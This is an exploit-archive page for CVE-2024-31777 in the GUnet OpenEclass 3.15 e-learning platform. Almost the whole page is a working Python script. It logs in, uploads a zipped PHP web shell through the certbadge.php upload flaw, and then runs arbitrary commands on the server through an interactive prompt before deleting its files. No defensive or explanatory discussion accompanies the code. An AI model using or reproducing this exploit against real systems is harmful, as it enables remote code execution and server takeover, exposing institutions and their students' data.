Gunet openeclass elearning platform 3.15 certbadge.php unrestricted file upload Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2024-04-12 | Type : webapps | Platform : php

---

[+] Code ...

# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
# Date: 2024-02-04
# Exploit Author: Georgios Tsimpidas
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/3.15/
# Version: 3.15 (2024)
# Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)
# CVE : CVE-2024-31777
# GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File

import requests
import argparse
import zipfile
import os
import sys

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'

MALICIOUS_PAYLOAD = """\
<?php

if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}

?>
"""

def banner():
print(f'''{RED}
{YELLOW}
============================ Author: Frey ============================
{RESET}''')

def execute_command(openeclass, filename):
while True:
# Prompt for user input with "eclass"
cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")

# Check if the command is 'quit', then break the loop
if cmd.lower() == "quit":
print(f"{ORANGE}\nExiting...{RESET}")
clean_server(openeclass)
sys.exit()

# Construct the URL with the user-provided command
url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"

# Execute the GET request
try:
response = requests.get(url)

# Check if the request was successful
if response.status_code == 200:
# Print the response text
print(f"{GREEN}{response.text}{RESET}")

except requests.exceptions.RequestException as e:
# Print any error that occurs during the request
print(f"{RED}An error occurred: {e}{RESET}")

def upload_web_shell(openeclass, username, password):
login_url = f'{openeclass}/?login_page=1'
login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

# Login credentials
payload = {
'next': '/main/portfolio.php',
'uname': f'{username}',
'pass': f'{password}',
'submit': 'Enter'
}

headers = {
'Referer': login_page_url,
}

# Use a session to ensure cookies are handled correctly
with requests.Session() as session:
# (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
session.get(login_page_url)

# Post the login credentials
response = session.post(login_url, headers=headers, data=payload)

# Create a zip file containing the malicious payload
zip_file_path = 'malicious_payload.zip'
with zipfile.ZipFile(zip_file_path, 'w') as zipf:
zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())

# Upload the zip file
url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
files = {
'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'),
'certhtmlfile': (None, ''),
'orientation': (None, 'L'),
'description': (None, ''),
'cert_id': (None, ''),
'submit_cert_template': (None, '')
}
response = session.post(url, files=files)

# Clean up the zip file
os.remove(zip_file_path)

# Check if the upload was successful
if response.status_code == 200:
print(f"{GREEN}Payload uploaded successfully!{RESET}")
return True
else:
print(f"{RED}Failed to upload payload. Exiting...{RESET}")
return False

def clean_server(openeclass):
print(f"{ORANGE}Cleaning server...{RESET}")
# Remove the uploaded files
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")
print(f"{GREEN}Server cleaned successfully!{RESET}")

def main():
parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
parser.add_argument('-u', '--username', required=True, help="Username for login")
parser.add_argument('-p', '--password', required=True, help="Password for login")
parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")
args = parser.parse_args()

banner()
# Running the main login and execute command function
if upload_web_shell(args.eclass, args.username, args.password):
execute_command(args.eclass, 'evil.php')

if __name__ == "__main__":
main()